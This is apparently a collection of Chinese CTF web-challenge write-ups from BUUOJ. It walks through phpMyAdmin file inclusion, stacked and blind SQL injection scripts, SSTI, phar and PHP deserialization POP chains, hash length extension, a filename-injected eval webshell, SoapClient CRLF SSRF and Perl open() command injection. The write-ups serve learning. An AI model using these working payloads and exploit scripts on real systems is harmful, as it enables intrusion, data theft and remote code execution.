f12查看页面源代码得到提示
查看source.php
中的内容,可以看到是CVE-2018-12613
的漏洞利用,核心代码位于
其中mt_strpos
所起到的作用是返回目标字符串首次出现的位置,联系mb_substr
所起到的作用是截取目标字符串对应位置的内容,结合起来就是返回传入变量$page
匹配到第一个?
之前的内容,直接用CVE-2018-12613
的poc和hint.php
的内容利用文件包含构造?file=hint.php%253f/../../../../../ffffllllaaaagggg
得到flag。
学习资料:
http://www.52bug.cn/hkjs/5111.html
今年强网杯的原题,使用的技巧为堆叠注入
payload:-1' or 1=1#
得知了sql注入语句内部的闭合方式为单引号,本来是想利用bool类型的盲注读取内容,但是
我们无法利用select
和where
,也就是说bool类型的盲注无法实现了,而且大部分的注入类型也都无法实现,我也是在强网杯后查看大牛们的wp才得知了堆叠注入这种类型的注入方式,堆叠注入的原理为
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
简单来说我们可以使用;
来进行上一句话语句的闭合和下一句话的执行,因此我们可以用SHOW databases
和SHOW tables
来查看数据库名和表名。
payload:1';SHOW databases;#
payload:1';SHOW tables;#
接着我们查看words
表中的列名
payload:1';SHOW columns from words;#
flag貌似不在这个表中,再查看一下1919810931114514
表中的内容
payload:1';SHOW columns from `1919810931114514`;#
可以看到我们想要查询的flag就在该表中,但是我们通过外部输入执行的查询是在word
表中所执行的猜测内部执行的sql查询语句为select * from words where id=''
,因此我们要实现的目标为先在1919810931114514
表中添加新的名为id
的列,接着将1919810931114514
表名修改为words
,最后将words
表名修改为tmp
(其余不冲突的任意表名均可)。
我们需要的sql语法为alter table `表名` add(字段名 字段类型 NULL)
(在对应的表名当中增加新的字段名及其对应的类型),rename table `当前表名` to `改后表名`;
(修改旧的表名为新的表名)
最后的payload为1';alter table `1919810931114514` add(id int NULL);#
接着执行1';rename table `words` to `tmp`;rename table `1919810931114514` to `words`
看到这个样子难免会想到hash函数拓展攻击,但很明显利用的方式不同,因此我们只能另外想办法尝试去找到cookie_secret
,tornado
也是python的web框架,我们就可以联想到经常遇到的flask的模板注入漏洞,首先我们要找到哪里会提供报错信息随便输入文件名及其对应的hash值便会弹出错误界面
我们传入的msg
参数会在页面当中显示,符合ssti可能出现的条件,测试一下?msg={{123}}
此时我们可以通过传入handler.settings
查看环境变量获取cookie_secret
的值
得到cookie_secret
的值为M)Z.>}{O]lYIp(oW7$dc132uDaK
结合提示给出的flag存在于根目录下的fllllllllllllag
中
我们将其拼接为M)Z.>}{O]lYIp(oW7$dc132uDaK
70aed71508e50d160a73756a21e9953d
得到flag
也是一道强网杯的原题,下载源码后可以看到很多被混淆的php文件,内置了很多貌似可以任意命令执行的地方,比如这处
我们都知道preg_replace
函数在正则匹配参数为/e
时如果完成匹配的话会执行第二个参数的命令,但可以看到我们以get方式传入的变量在实现命令执行前就被置空了,因此问题的关键就变成了找到一个有效的可以实现任意命令执行的变量
import requests
import re
import os
s = requests.session()
files = os.listdir('./src')
for i in files:
url = 'http://web15.buuoj.cn/'+str(i)+''
filename = './src/'+str(i)
f = open(filename)
content = f.read()
f.close()
print(content)
muma = re.findall('_GET\[\'(.*?)\'\]',content)
for j in muma:
payload = url+'?'+str(j)+'=echo \'success\''
print(payload)
c=s.get(payload)
if 'success' in c.text:
print(payload)
exit()
题目直接告诉了我们flag存在的表名和列名,fuzz后发现各种形式的or
和and
以及union
,单双引号,闭合符号,空格均被过滤了,这就表示着一般情况的sql注入均无法实现。在输入框中测试1=1
,发现返回的结果为输入1的返回相同,此时我们在输入框内利用sql当中的if语句构造IF(expr1,expr2,expr3)
,即若expr为true则返回expr2否则返回expr3
import requests
s=requests.session()
url='http://web43.buuoj.cn/index.php'
ans = ''
for i in range(1,40):
for j in range(37,127):
key = "if(ascii(substr((select(flag)from(flag)),"+str(i)+",1))="+str(j)+",2,1)"
payload = {'id':key}
c = s.post(url,data = payload)
if 'my' in c.text:
ans = ans + chr(j)
print(ans)
得到flag
首先是对着输入框一通操作发现没有什么卵用,接着www.zip
下载网站源码
接下来就是代码审计的工作了,先看一下index.php
有什么值得注意的内容。
我们登陆时的用户名和密码长度均受到了限制,初次之外没有什么需要我们注意的地方了,接着查看一下class.php
的内容
在定义mysql类中是存在有这样一个函数
会将我们的select
,insert
,update
,delete
和where
替换为hacker,且此时的preg_replace
不存在/e
的情况,不存在漏洞。最后我们在update.php
当中找到了文件上传点
似乎好像还没有什么过滤的地方,并且给出了上传后的绝对路径
注册一个账号测试下上传一句话木马并且访问改绝对路径,发现会直接对文件进行下载,也就是说我们文件上传的点无法得到利用了。
最后我们在profile.php
当中找到了存在有的反序列化的点,我们来研究一下是否能利用起来
我们可以看到反序列化的对象是定义在class.php
当中的show_profile($username)
,也就是此处的
该函数与下方定义的select
函数配合将会返回该用户名下的全部信息的一个对象
再注意下这个update_profile
方法,该方法配合update
方法会更新profile中的内容。
所更新的内容如上图所示,分别是phone
,email
,nickname
和photo
,我们可以看到nickname
这个参数的判断是存在问题的
对于这两个条件我们都可以选择使用数组绕过
这是config.php
当中的内容,可以看到我们想要读到的flag就存在于该php当中,但如何才能将其读出来呢
在profile.php
当中会对$photo
对象进行反序列化操作,关键就在于这个危险的file_get_contents,我们要想办法使得$profile[photo]
变成config.php
就可以成功读取出config.php
的内容,接下来就是这道题目的核心问题了:反序列化逃逸字符
我们都知道序列化的字符串都带有长度比如s:5:"abcde"
,但如果序列化的字符串为s:5:"abcdef"
的话,我们对其进行反序列化输出的结果就为abcde
也就是说我们的字符f
从反序列化的过程中逃逸了出去,我们来看一下这道题目当中的关键代码
也就是说如果我们的输入存在有where
的话该方法将会把where
替换为hacker
,这两个单词一个是五个字符,一个是六个字符,这也为我们的字符逃逸埋下了伏笔。但字符逃逸要求字符串的序列化数量和实际数量不一致,这道题目是否符合要求呢
我们可以看到update_profile
传入的变量已经是一个序列化完毕的字符串,因此字符逃逸的条件也就成立了,最后的payload为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
其中where
的个数与插入的;}s:5:"photo";s:10:"config.php
长度相同,也就是说每一个where
被替换为hacker
的过程都会为一个字符创造一个逃逸的空间
正常情况下序列化的字符串应当是a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:14:"[email protected]";s:8:"nickname";s:5:"abcde";s:5:"photo";s:15:"upload/xxxxxxxx";}
但如果我们的nickname
传入刚才的payload的话序列化字符串就会变为a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:14:"[email protected]";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}
我们的nickname
为186位,也就是所有的hacker加起来的长度,也正因为这个我们的s:5:"photo";s:10:"config.php";
才得以成功逃逸由于反序列化已经结束,我们后缀多出的内容也就不起任何作用了。
base64解密后即可得到flag
这道题目的难点就是最后利用到了CVE-2019-9948
的内容,先简单的介绍一下
也就是说在python2.7,3.7和3.8中本来用于对目标url访问并读取的函数urlopen
可以实现对本地文件的读取,这也就满足了对于gopher
和file
协议的绕过
绕过了这个最重要的点后其实题目的思路就十分清晰了,首先是签名的问题
我们的签名值是由secret_key
,param
和action
三个部分构成的,其中后两个部分是我们可控的,但是secret_key
的值我们未知。很容易可以联想到hash函数拓展攻击。
结合上半部分的代码,我们总体的思路是这样子的,先使用scan函数把目标文件读取到result.txt中,接着使用read函数将result.txt中的内容读取出来
首先我们利用geneSign函数获取一串由密钥生成的hash值
此处我们的param
为local_file:///flag.txt
,action
则为默认的scan
得到了对应的hash值,接着我们使用hashpump构造带有read的hash值
接下来就是分别写入和读取flag.txt中的内容了
这道题目在注册登陆过后的change
页面中给出了源码提示,我们在config.py当中可以看到
也就是说我们已经得到了用于生成cookie的SECRET_KEY
,而且这道题目明显的是想让我们伪造admin登陆,我们在index.html
也可以看出
我们尝试使用脚本对cookie进行伪造,先对现有的cookie进行解密
修改user_id
和name
分别为1
和admin
将cookie值替换后得到flag
但对于这道题目还有两种不同的解法(从飘零表哥博客里看到的),分别是Unicode欺骗和条件竞争
Unicode欺骗
问题就出现在这个注册,登陆和修改密码当中都出现的strlower
函数当中
strlower
函数的构成如下
def strlower(username):
username = nodeprep.prepare(username)
return username
而其中的nodeprep.prepare
方法会实现大写转换为小写的作用,但问题也出现在这里
对于ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
,该方法会将其转换为ABCDEFGHIJKLMNOPQRSTUVWXYZ
,因此我们可以注册一个名为ᴀdmin
的账户,被strlower
处理过后便成为了Admin
,即我们成功注册了名为Admin
的用户,接着我们登陆时使用ᴀdmin
进行登陆,被strlower
处理过后便成为了Admin
身份的登陆,再次去进行密码修改时我们的用户名再一次被strlower
处理就变成了admin
,即我们最后修改的密码为admin的密码,最后可以完成身份伪造
这道题目是国赛第二天两道web中的一个,当时我们的队伍恰巧不用做这道题,在这里也是重新复现一下,由源码可知该网页对于身份的判定是基于加密过后的cookie值,我们在本地利用他提供的加密算法和config.php
当中的密钥计算出admin的cookie值,即可实现admin身份的登陆
以admin身份访问user.php可以看到是一个上传界面,上传的waf为文件名当中不得出现不区分大小写的php
,尝试制作图片马后上传,发现返回了一个*.log.php
,访问得到的是包含有我们文件名的日志记录,也就是说我们能够上传并实现写入的就只有文件名而已了,因此我们考虑使用bp抓包修改文件名为一句话木马的方式。
这个时候问题又出现了,我们平时使用的一句话木马是需要
作为标签的,这个时候需要介绍一个短标签的概念,php.ini文件中设置short_open_tag为on即可以实现用
=
代替,去查看题目的
php.ini
文件
因此我们只需要上传一个任意文件并且抓包将其name修改为= @eval($_POST['cmd']); ?>
,即可以在*.log.php
中实现任意命令执行。
首先在查看页面cookie时发现jwt
,使用jwt.io
对该jwt
进行解密发现加密方式为HS256
,该加密方式加解密使用的密钥相同也就导致了其安全性能较弱。我们使用jwtcrack
工具对其进行爆破
我们再使用jwt.io
进行jwt伪造
抓包修改jwt后得到提示
写个脚本进行unicode解码
那么lv6在哪里呢…这里确实是没有想到,因为lv后面的数字都是以图片形式显示的,因此很快就否决掉了if 'lv6' in c.text
这种猜想,但实际上采用的方式是if 'lv6.png' in c.text
(图片名称)来对lv6
的商品进行寻找,就直接贴一下大佬的脚本
import requests
url = "http://f5d9b03a-0e3b-44ff-b71f-d08bb7212a36.node1.buuoj.cn/"
for i in range(1, 2000):
r = requests.get(url + "shop?page=" + str(i))
if r.text.find("lv6.png") != -1:
print(i)
break
找到之后是无法直接进行购买的,需要我们购买一定量的产品后获得优惠券然后修改优惠折扣后完成购买然后在页面源码中获得提示下载网站源码
这里有一个python反序列化的点,构造的关键为__reduce__
魔术方法,当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,网络上漏洞利用的脚本也很多
我们对其进行修改,关键是要将结果进行url编码
传入后得到flag
可以直接注册名为admin的用户,可以看到是一个文件上传的题目
可以上传后缀为jpg,png和gif的图片,但我们无法获得图片的绝对路径和调用,因此常规的文件上传方式无法使用,我们查看http历史记录,发现调用了upload.php
查看upload.php
的内容
考虑修改文件名是否能下载到上层目录的网站源码,分别测试../index.php
和../../index.php
后下载到index.php
的内容,再对剩下的网站文件进行下载后代码审计
在login.php
中我们获得了文件上传后的绝对路径,但尝试上传图片马后无果
查看wp后了解到这是一种利用phar反序列化的特殊文件上传方式
https://paper.seebug.org/680/
先了解一下基本的phar文件的格式和作用,简单的来说我们利用phar实现文件上传的核心攻击点是来自phar文件的第二个构成部分,这个部分以序列化的形式存储用户自定义的meta-data,而我们在通过phar://伪协议对phar文件进行解析时会将meta-data部分进行反序列化,影响的函数主要有
也就是说我们要在该网站定义的类中找到调用上述方法的的类并读取根目录下的的flag.txt
首先我们在delete.php
当中可以看到
我们对传入的变量filename
也就是上传过后的文件分别进行了open
和delete
操作,这两个函数都来自File类
均包含有phar反序列化的受影响函数,也就是说我们在该页面传入的phar文件的meta-data部分都会被反序列化
我们在File类当中还找到了一个有可能会被我们利用的函数close,如果此时的filename为./flag.txt
的话会对对应的内容进行读取。
我们在user类当中找到了调用close的魔术方法。
但仅仅读取是不够的我们还要想办法将读取的内容进行输出,我们继续在类当中寻找类似echo
,var_dump
和print_r
的函数
我们在Filelist类中定义的析构函数中看到最后会将filelist的中的三个参数拼接后输出
我们又看到了Filelist类中的魔术方法会在调用类中不存在的方法时对每一个file调用一次该方法
整理一下思路
首先我们定义一个User类的对象,该对象的db属性为一个新的Filelist
类,也就是$this->db=new FileList;
接着定义Filelist类的的构造函数,三个参数分别为
public function __construct(){
$file=new File;
$file->filename='/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
关键就在于User类的的析构函数会去调用参数db的close方法,但此时参数db为Filelist类的对象而Filelist是没有对应的close方法,我们就会去尝试调用魔术方法__call
,此时的file为/flag.txt
,这样的一个File
类的对象,func为close
,也就是说我们完成了对/flag.txt
的读取并存储在results中
results也是我们析构函数输出的内容之一
我们也就完成了user类的对象调用Filelist类的对象的close方法
>Filelist类的对象因为类中不存在close方法调用__call魔术方法
>魔术方法完成对目标文件的读取和存储
>利用Filelist类的析构函数完成输出
的利用链。生成phar文件的脚本
db=new FileList;
}
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct(){
$file=new File;
$file->filename='/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File{
public $filename;
}
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new User();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
之后将生成的phar.phar
的后缀修改为phar.gif
完成上传后删除文件将文件名修改为phar://phar.gif/test.txt
即可完成对flag文件的读取
首先是访问robots.txt
得到提示,访问user.php.bak
下载到对应页面的源码,我们可以看到类中存在了函数get,会使用curl去访问我们在注册页面留下的博客网址
看到这里大概可以确定这道题目是一道ssrf的题目了,但如果可以任意确定存储的网址的话ssrf的实现未免太简单了,于是我们看到了这样的一个正则表达式来限制我们传入的网址
首先是(((http(s?))\:\/\/)?)
,?
代表会匹配零次或一次也就是说我们传入网址的协议部分被限制为http://
,https://
或者为空
接着是([0-9a-zA-Z\-]+\.)+
,+
代表匹配前面的子式一次或多次,也就是说我们的host部分前端的形式类似于xxxx.xxx.xxxxx.
其中x可以是任意的大小写字母,数字和破折号。限制最大的地方为[a-zA-Z]{2,6}
也就是说我们host部分的最后需要是二到六位的英文字符串,也就是说我们的host无法是平常的127.0.0.1
而是127.0.0.aaa
的形式,最后匹配的端口号和文件名都是可缺省的。
查找到了资料,如果我们注册使用的网址为http://127.0.0.1.xip.io/index.php
的话我们既符合了正则表达式的匹配,又可以利用子域名的解析完成对127.0.0.1的访问
很可惜失败了,一筹莫展之时发现了http://533e3c07-6940-4ad6-8fff-68635396d528.node1.buuoj.cn/view.php
页面的no
参数存在sql注入漏洞,过滤了空格,我们使用/**/
进行绕过
payload:
view.php?no=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()limit/**/0,1),3,4#
读取出表名
users
payload:
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/0,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/1,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/2,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/3,1),3,4#
读取出列名
no
,username
,passwd
,data
我们要读取出的核心内容位于data当中
我们可以看到第四列data当中存在有序列化的数据猜测我们的网址就是由上述内容反序列化得到,在这里我们传入的内容就不会收到正则表达式的限制了,因此我们直接使用file协议file:///var/www/html/flag.php
读取对应内容。
base64解码即可
unicode编码问题,将price修改为万
即可
题目直接给出了源码,首先要了解escapeshellarg
函数的作用
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
也就是说
var_dump(escapeshellarg(arg: "12' 3"));
输出结果为‘’
'12'\'' 3'
pathinfo() 返回一个关联数组包含有 path 的信息
GET命令执行传入的url参数,GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求
这也是我们传入的url参数为/
后访问沙盒会读取出根目录的内容的原因,我们可以看到根目录中存在的flag
和getflag
,毫无疑问我们需要调用getflag
完成对flag
的读取。
此时需要我们我们补充的知识
http://momomoxiaoxi.com/2017/11/08/HITCON/
perl的feature,在open下可以执行命令,也就是说
perl在open当中可以执行命令,如:open(FD, “ls|”)或open(FD, “|ls”)都可以执行ls命令
而GET是在perl下执行的,当GET使用file协议的时候就会调用到perl的open函数
总结一下就是我们在GET命令当中使用file协议可以实现任意命令,但前提是file协议后的文件需要存在才可以执行
#创建文件
http://52be8b07-a719-4f7e-9027-12cd77ed4e1b.node1.buuoj.cn/index.php?url=&filename=bash%20-c%20/readflag|
#执行命令输出到flag
http://52be8b07-a719-4f7e-9027-12cd77ed4e1b.node1.buuoj.cn/index.php?url=file:bash%20-c%20/readflag|&filename=gappp
#访问
http://52be8b07-a719-4f7e-9027-12cd77ed4e1b.node1.buuoj.cn/sandbox/sandbox/gappp
进入题目后即可获得题目的源码,是一个典型的ssti题目的框架,注入的点存在于/shrine/
后的参数当中,我们测试/shrine/{{1+1}}
得到回显
确定注入点的存在,但需要注意的是存在有一个safe_jinjia
函数对我们输入的参数进行了过滤,函数的内容为
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
首先是利用了字符串替换函数将()
替换为空,接着是黑名单限制字符串中不得出现config和self。
首先是进行我们常规的思路
利用''.__class__.__base__.__base__
获取基类object
接着是查看object类的子类列表''.__class__.base__.__base__.__subclasses__()
,由于()
被置空的原因我们无法完成对子类的查看
无法查看子类的同时也就说明我们无法使用子类当中所具有的函数,因此常规的ssti思路失效
google了好久如何完成对括号的绕过无果后查看了wp
使用的payload为{{app.__init__.__globals__.sys.modules.app.app.__dict__}}
,对应的解释为使用__init__
列出所有的原始属性
学习资料
https://www.jianshu.com/p/1237c78a691c
题目的另外解法为{{url_for.__globals__['current_app'].config}}
,函数url_for引用的内容当中包含有current_app
这样的全局变量,因此可以完成对FLAG的读取,同理get_flashed_messages
函数也有相同的作用
首先是www.zip
下载源码,我们可以在config.php
当中看到对用户身份的校验
是一个非常典型的哈希函数拓展攻击,但我们不知道密钥的长度有点麻烦,我们利用只有admin才可以完成文件上传,非admin用户会报错的差异,写个脚本完成对用户密码的获取
import requests
import hashpumpy
import urllib
url1 = "http://585a527f-85a9-4f34-afa9-390830627793.node1.buuoj.cn/index.php"
for i in range(5,30):
s = requests.session()
m = hashpumpy.hashpump('52107b08c0f3342d2153ae1d68e6262c','admin','gap',i)
message = urllib.quote(urllib.unquote(m[1]))
files1 = {'username':(None,'admin'),
'password':(None,message),
'login':(None,'e68f90e4baa4'.decode('hex'))
}
c = s.post(url1,files = files1)
url2 = "http://585a527f-85a9-4f34-afa9-390830627793.node1.buuoj.cn/upload.php"
files2 = {'file':('test.txt','123','application/octet-stream'),
'upload':(None,'e68f90e4baa4'.decode('hex'))
}
cookies = {'user':m[0]}
response = s.post(url2,files=files2,cookies=cookies)
print i
print message
if 'u r not admin' not in response.text:
print response.text
我们在长度为13时完成了响应的输出
也就是说此时对应的username为admin
,password为admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00gap
此时在上传页面验证的cookie值为user=c99e49aad747eee4b6a4915f2cb2aa17
测试一下能否完成文件上传
没有报错,再看一下上传的页面
已经有我们随意上传的文件了
接下来研究一下文件上传的机制,首先是对文件内容的校验,禁用了一系列的命令执行函数和拼接,就是'sys'+'tem'
也会被过滤
接着是我们的文件路径当中不能存在一系列压缩相关的后缀和指令
这个是这道题目中比较麻烦的一点,由于.htaccess
文件的原因我们不管上传什么类型的文件服务器都会报错
是否存在有覆盖.htaccess
文件的可能呢,我们再看一下上传后的文件名生成机制
我们的filename的md5值被作为了文件的名称,也就是.
前面的内容是不可能为空的,我们无法直接上传名为.htaccess
的文件,当时做这道题目也就僵在这里了,赛后看到题解的时候还是感叹自己的知识面远远不够。这道题目的正确解法是利用phar的反序列化,首先要找到反序列化文件的点,我们在view.php
中看到了我们传入的参数被作为类File
的对象属性
接下来看一下File
类的内容,该类中的函数view_detail
调用了mime_content_type,而该函数是存在有反序列化漏洞的,也就是说我们传入的filepath如果是一个phar文件则有可能实现反序列化
找到了反序列化的点之后就是反序列化中类的构造了,我们注意到了Profile类当中存在有魔术方法__call
但此时内部所定义的open函数是一个人畜无害的函数,这里就要介绍到解决这道题目的关键了:内置类ZipArchive
,该函数如果设置为overwrite
模式则会实现对目标的覆盖
接下来就是如何实现__call
魔术方法的调用了
我们看到File
类的析构函数实现了类中属性checker
对函数upload_file
的调用,那么如果这个checker
是Profile类的对象的话,Profile类中没有对应的upload_file
方法也就会去调用对应的__call
方法,整个攻击链就构造完成了
定义File类中的checker属性为Profile类的对象 > 析构时调用upload方法 > 调用Profile类的__call魔术方法 > 此时的admin为ZipArchive类的对象 > 完成覆盖
编写payload
filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$this->password = ZipArchive::OVERWRITE;
$this->admin = new ZipArchive();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new File('GAPPP','GAPPP');
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生成phar文件后我们要做的是上传一个webshell,虽然文件内容当中禁用了命令执行函数和+
,但此时我们还可以利用.
进行字符串的拼接
上传生成的phar文件后立即访问view.php,对应的参数为filename=上传后的phar文件名&filepath=php://filter/resource=phar://上传后的phar路径
,使用php://filter
的原因是为了绕过$this->filepath
中的内容限制,完成对view.php
的访问后直接访问刚才上传的webshell的地址(如果在两个步骤之间访问upload.php则会重新生成.htaccess文件)
这题比赛的时候研究了很久,也没有找到完整的利用链,在这里跟着师傅们的wp进行一下复现
source.tar.gz
下载网站源码
网页很直白的告诉了我们考察点是反序列化,我们就需要去找到反序列化时会调用的魔术方法__destruct
,我们找到的目标为
跟进查看魔术方法的内容
析构时调用的函数为commit()
,commit()
函数内又调用了该类的函数invalidateTages
,查看对应函数的内容
漏洞存在的地方位于
这里类中的属性pool
调用了saveDeferred
方法
该属性来自于Adapterinterface
接口的类的对象,接下来我们要做的就是找到一个同样调用Adapterinterface
接口的类,并且该类当中存在有名为saveDeferred
的方法,我们找到的类是同样调用AdapterInterface
接口的PhpArrayAdapter
类
去看一下该类对应的saveDeferred
方法
该类的saveDeferred
方法又调用了initialize
方法,该方法是来自父类PhpArrayTrait
,查看initialize
方法的内容
存在有文件包含的内容$values = (include $this->file) ?: [[], []];
可以开始构造利用链了,首先可以肯定的是我们反序列化的对象是TagAwareAdapter
类的对象,还需要调用类中的saveDeferred
方法,我么可以看到想要调用对应的方法必须要存在有名为deferred
的属性才可以顺利调用
其中deferred
数组的入口参数是cacheiteminterface
的对象
也就是实现了该接口的对象
我们在引入的类中看到了名为CacheItem
的类,因此我们构造的TagAwareAdapter
类为
class TagAwareAdapter{
private $deferrde = [];
private $pool;
public function __construct(){
$this->deferred = array('gappp' => new CacheItem());
$this->pool = new PhpArrayAdapter(); //我们想要调用PhpArrayAdapter类对应的saveDeferred方法
}
}
我们通过该类调用了PhpArrayAdapter
类对应的saveDeferred
方法,该方法又调用了父类PhpArrayTrait
的initialize
方法,并利用该方法对参数file
实现文件包含,因此我们构造的PhpArrayAdapter
类的内容为
class PhpArrayAdapter{
private $file;
public function __construct(){
$this->file = '/flag';
}
}
接下来就是结合命名空间完成构造
file = '/flag';
}
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('gappp' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
进入题目后直接获得了源码
显而易见的是我们可以利用第一个call_user_func
方法对变量b进行变量覆盖
也就是说我们可以控制第二个call_user_func
所调用的函数,但是对应函数的参数被限制为数组,也就是说我们不可能直接将b复改为system
完成getshell了。
此时我们查看flag.php
,需要我们完成伪造本地登陆来实现获得flag,那此时需要我们的思路从rce变成了利用一个参数为数组的的任意函数实现SSRF并输出session中的flag
这里我们要了解一个内置类SoapClient
,该类用于创建soap数据报文,需要我们传入两个参数,第一个是参数为$wsdl
,如果为NULL,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,接下来我们测试一下在本地发出请求,调用该类中不存在的方法,进而调用call魔术方法
在vps中监听端口
也就是说我们可以利用soap进行ssrf了,但此时存储session的cookie值我们并不可控,这里我们用到的是CRLF漏洞
CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
因此我们可以修改ua为
'user_agent' => "localhost\r\nCookie: PHPSESSID=vi7n069ig6dfss5cuqrm8srhg5"
对cookie的值进行注入
此时的问题变成了如何在本题中调用一个SoapClient
类中不存在的方法了
这里我们用到的是call_user_func
函数的特性,如果我们传入的参数为一个数组的话,例如array(class,func)
的话,则会实现class=>func
的效果,也就是说如果我们的class
为SoapClient
的话
此处的参数恰好为数组,也就可以实现SoapClient=>welcome_to_the+lctf2018
也就是对call
魔术方法的调用,也就可以完成soap
请求的发送了。
接着的问题是如何实现该类的反序列化呢,一般情况下我们使用的反序列化引擎均为php
,其存储方式是,键名+竖线+经过serialize()函数序列处理的值,例如name|s:6:"spoock";
而如果我们采用的序列化引擎为php_serialize
时SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}
,此时矛盾的地方就出现了,如果我们使用php_serialize引擎序列化时的内容为|任意类
,结果为a:1:{s:4:"name";s:n:"|任意类";}
,我们在反序列化时如果使用的时php引擎的化,则会对管道符后的内容进行反序列化,借此我们便实现了对任意类的反序列化。而我们修改序列化引擎的方式便是调用session_start
方法,其参数为serialize_handler=目标引擎
,而我们第二次进行session_start时,php会对session中内容自动进行反序列化,因此我们的第一个报文为
最后就是利用extract
进行变量覆盖,进而调用SoapClient
类的__call
魔术方法实现ssrf读取flag
首先是以glzjin
+X-Forwarded-For的ip地址
创建了沙盒,也就是沙盒的名称是我们可控的。然后执行了输出指令system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host)
这道题目明显需要我们注意的是这两个操作
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
有一篇大牛文章特地描述了escapeshellarg参数绕过和注入的问题
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/
escapeshellarg函数的定义如下
string escapeshellarg ( string $arg )
起到的作用为
给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
听起来有点难懂,我们举例测试一下
$host = 'nonono';
var_dump(escapeshellarg($host));
?>
$host = "no'nono";
var_dump(escapeshellarg($host));
?>
还会对我们内部的单引号进行转义
也就是说该函数在我们的字符串两侧添加了单引号进行包裹,一般我们对其进行利用的格式如下
system('ls '.escapeshellarg($dir));
?>
如果我们利用管道符进行命令注入的话
如果我们没有使用该函数的话
也就是说使用该函数的前后情况为
接下来测试一下原博主列举的例子
我们都知道escapeshellarg函数会在函数参数两侧添加单引号,但如果被双引号再次包围的话则会实现命令的执行
接下来是escapeshellcmd函数
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到
exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入:
`|?~<>^()[]{}$*, \x0A 和 \xFF。 ’ 和 "仅在不配对的时候被转义。 在 Windows
